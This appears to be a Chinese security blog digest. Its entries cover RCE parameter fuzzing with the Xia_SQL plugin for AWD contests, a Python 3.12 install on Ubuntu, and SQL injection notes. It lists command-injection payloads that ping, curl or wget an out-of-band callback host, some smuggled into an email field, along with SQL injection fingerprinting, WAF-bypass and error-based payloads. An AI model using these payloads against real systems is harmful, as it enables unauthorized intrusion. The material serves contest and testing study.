看了半天,发现了该文章的核心思想:利用Xia_SQL的暴力插入各种参数的功能,配合自己的神奇payload,达到FUZZ参数,发觉RCE的效果。
从这个思路出发,你就能看懂作者给出的几个payload(看了半天不知道跟SQL注入有啥关系,实际上是没关系,只是借用了该插件的功能)
;ping ac1s8h4y.eyes.sh|ping ac1s8h4y.eyes.sh&ping ac1s8h4y.eyes.sh
;curl http://ac1s8h4y.eyes.sh|curl http://ac1s8h4y.eyes.sh&curl http://ac1s8h4y.eyes.sh
`sleep(5)`
;`sleep(5)`|`sleep(5)`&`sleep(5)`
`wget ac1s8h4y.eyes.sh`@qq.com
阅读到这句话实际上也就发现了本文的核心思想:
so我们主要利用这个插件给所有的参数插满payload
不过值得一提的是,这个插件:RCEFuzzer)该款工具很专业,但是配置起来比这个要麻烦一些,看个人了。
总的来说,这篇文章主要还是在讲述AWD比赛中,首先应该具备快速代码审计的能力。这里也能看到一些: 1.D盾扫描,尝试找到官方后门 2.代码审计,直接找一些敏感函数file_put_contents
move_uploaded_file
这种能直接getshell的函数 3.任意文件删除+网站重装Getshellunlink
今天在部署某服务的时候发现报错,一查才知道Python低版本居然不支持这么写,火速升级。sudo add-apt-repository ppa:deadsnakes/ppa sudo apt update sudo apt install python3.12
调用就是直接python3.12 main.py
然后还有一件事,就是这个时候只是普通安装,很多Python自带的功能不支持,比如venv
安装一下:apt-get install python3.12-venv
就可以愉快的使用venv了python3.12 -m venv venv
感觉比较精髓的地方在于: 1.介绍了一下如何利用不同的语句来判断后端数据库此问题可能有时候会被当做面试题来问 MYSQL:' OR 1=1 AND @@version --
PostgreSQL' OR 1=1 AND version() --
MSSQL' OR 1=1 AND @@version --
2.绕WAF技术中可以使用||
来拼接字符串' UNION SELECT CHAR(117)||CHAR(115)||CHAR(101)||CHAR(114), CHAR(112)||CHAR(97)||CHAR(115)||CHAR(115) --
或是' UNION SELECT 'ad'||'min', 'pa'||'ss' --
3.不同的后端数据库报错函数也不尽相同: MYSQL' UNION SELECT GTID_SUBSET('abc', 'def') --
pg' UNION SELECT TO_NUMBER('abc', '999') --
MSSQL' UNION SELECT CONVERT(INT, 'abc') --
总结:当个备忘录不错,大致阅读了一下,从中提取了一些比较精髓的东西。
看着还不错,里面介绍了一些内存马打入的方式,比如Freemarker
等等...